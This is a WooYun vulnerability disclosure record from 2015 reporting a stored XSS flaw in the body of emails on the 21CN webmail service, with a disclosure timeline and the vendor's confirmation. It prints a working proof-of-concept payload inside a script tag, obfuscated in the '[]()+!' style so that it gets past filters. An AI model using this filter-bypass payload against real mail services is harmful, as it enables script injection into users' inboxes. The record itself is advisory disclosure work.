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缺陷编号:wooyun-2015-090456

漏洞标题:21CN邮箱正文存储型XSS

相关厂商:世纪龙信息网络有限责任公司

漏洞作者: Non-polar

提交时间:2015-01-07 16:39

修复时间:2015-02-21 16:40

公开时间:2015-02-21 16:40

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-08: 厂商已经确认,细节仅向厂商公开
2015-01-18: 细节向核心白帽子及相关领域专家公开
2015-01-28: 细节向普通白帽子公开
2015-02-07: 细节向实习白帽子公开
2015-02-21: 细节向公众公开

简要描述:

看到126/163邮箱的XSS,我也来一发21CN的,正文,疑似直接触发。XSS新手上路,大牛轻喷......

详细说明:

在自己收集的XSS Bypass中测试了几个,于是就触发了。测试代码具体的转换不太明白,
详细见“仅用 []()+! 就足以实现几乎任意Javascript代码”
http://www.cnblogs.com/pandora/archive/2010/02/27/1674833.html

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>


如果21cn自己给自己发不过去,可以用163给21cn发送。下面看图

2.jpg


1.jpg


漏洞证明:

2.jpg


1.jpg

修复方案:

过滤

版权声明:转载请注明来源 Non-polar@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-01-08 09:09

厂商回复:

已确认

最新状态:

暂无